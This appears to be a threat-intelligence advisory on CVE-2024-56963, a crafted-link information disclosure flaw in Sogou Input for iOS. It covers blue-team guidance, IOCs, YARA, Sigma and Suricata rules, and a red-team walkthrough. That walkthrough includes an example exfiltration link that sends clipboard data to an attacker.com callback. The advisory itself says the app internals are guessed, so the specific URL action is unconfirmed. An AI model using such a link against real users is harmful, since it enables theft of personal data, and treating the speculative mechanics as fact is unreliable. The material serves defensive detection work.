CVE-2024-56963

Executive Summary

CVE-2024-56963 affects Beijing Sogou Technology Development Co., Ltd's Sogou Input iOS version 12.2.0. The vulnerability allows attackers to access sensitive user information by supplying a crafted link. This is a client-side information disclosure issue that could lead to leakage of personal data, keystrokes, or clipboard contents. No patch is currently available, and no public proof-of-concept has been released.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary iOS application vulnerability.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unscored) CVSS Vector: UNKNOWN

The vulnerability has not been assigned a CVSS score by NVD. Based on the description, the impact is limited to information disclosure via a crafted link, requiring user interaction (clicking the link). The threat level is considered Medium due to the potential for sensitive data exposure.

Deep Dive & Mechanics

The vulnerability resides in the Sogou Input iOS application (version 12.2.0). The application likely registers a custom URL scheme (e.g., sogouinput://) or handles universal links. When a crafted link is supplied (e.g., via SMS, email, or a web page), the application processes the link without proper validation or sanitization. This can allow an attacker to:

• Access clipboard contents
• Read keystroke logs
• Extract user credentials or personal information stored by the input method
• Potentially execute arbitrary actions within the app's context

The root cause is insufficient input validation and lack of proper permission checks when handling deep links or URL schemes.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is likely in the URL handling delegate of the iOS application (e.g., application:openURL:options: or scene:openURLContexts:). A patched version would:

• Validate the source of the link
• Sanitize input parameters
• Require user confirmation before performing sensitive actions
• Restrict access to sensitive data via the URL scheme

Exploitation & Lab Setup

Red Team

1. Setup: Install Sogou Input iOS 12.2.0 on a test device (jailbroken or with developer mode enabled).
2. Craft Link: Create a malicious URL using the app's custom scheme. Example: sogouinput://read-clipboard?callback=http://attacker.com/steal
3. Deliver: Send the link via SMS, email, or embed in a web page.
4. Trigger: Victim clicks the link, which opens the Sogou Input app and executes the malicious action.
5. Exfiltrate: Data is sent to the attacker's server via the callback parameter.

Blue Team

1. Monitor: Detect unusual URL scheme invocations (e.g., sogouinput://) in network logs or device logs.
2. Block: Use mobile device management (MDM) to restrict custom URL schemes or block the app entirely.
3. Educate: Train users not to click suspicious links, especially those targeting input method apps.
4. Isolate: Use app sandboxing or containerization to limit the app's access to sensitive data.

Indicators of Compromise (IOCs)

• URL Pattern: sogouinput://* or any URL scheme registered by Sogou Input
• Network Traffic: Outbound connections to unknown domains after clicking a link
• Process: Sogou Input app launching without user interaction
• Logs: iOS system logs showing openURL or openURLContexts with suspicious parameters

Detection Engineering

YARA Rule

rule CVE_2024_56963_Sogou_Input_iOS {
    meta:
        description = "Detects Sogou Input iOS URL scheme exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $url_scheme = "sogouinput://" ascii wide nocase
        $sensitive_action = "read-clipboard" ascii wide nocase
        $callback = "callback=" ascii wide nocase
    condition:
        $url_scheme and ($sensitive_action or $callback)
}

Sigma Rule

title: Sogou Input iOS URL Scheme Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-56963 via crafted links
author: Valters IT
date: 2025/04/10
logsource:
    product: ios
    service: unified_log
detection:
    selection:
        EventID: 1008
        Message|contains: 'sogouinput://'
    condition: selection
falsepositives:
    - Legitimate use of Sogou Input features
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2024-56963 Sogou Input iOS Data Exfiltration"; flow:to_server,established; content:"sogouinput://"; nocase; content:"callback="; nocase; distance:0; pcre:"/sogouinput:\/\/.*callback=http/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Uninstall Sogou Input iOS version 12.2.0 until a patch is released.
• Alternative: Use a different input method app from a trusted vendor.
• Network: Block outbound connections from the app using a firewall or MDM.
• User Awareness: Educate users about the risks of clicking links from unknown sources.
• Vendor: Contact Sogou for a patch or update.

Valters IT
DevSecOps & Cyber Threat Intelligence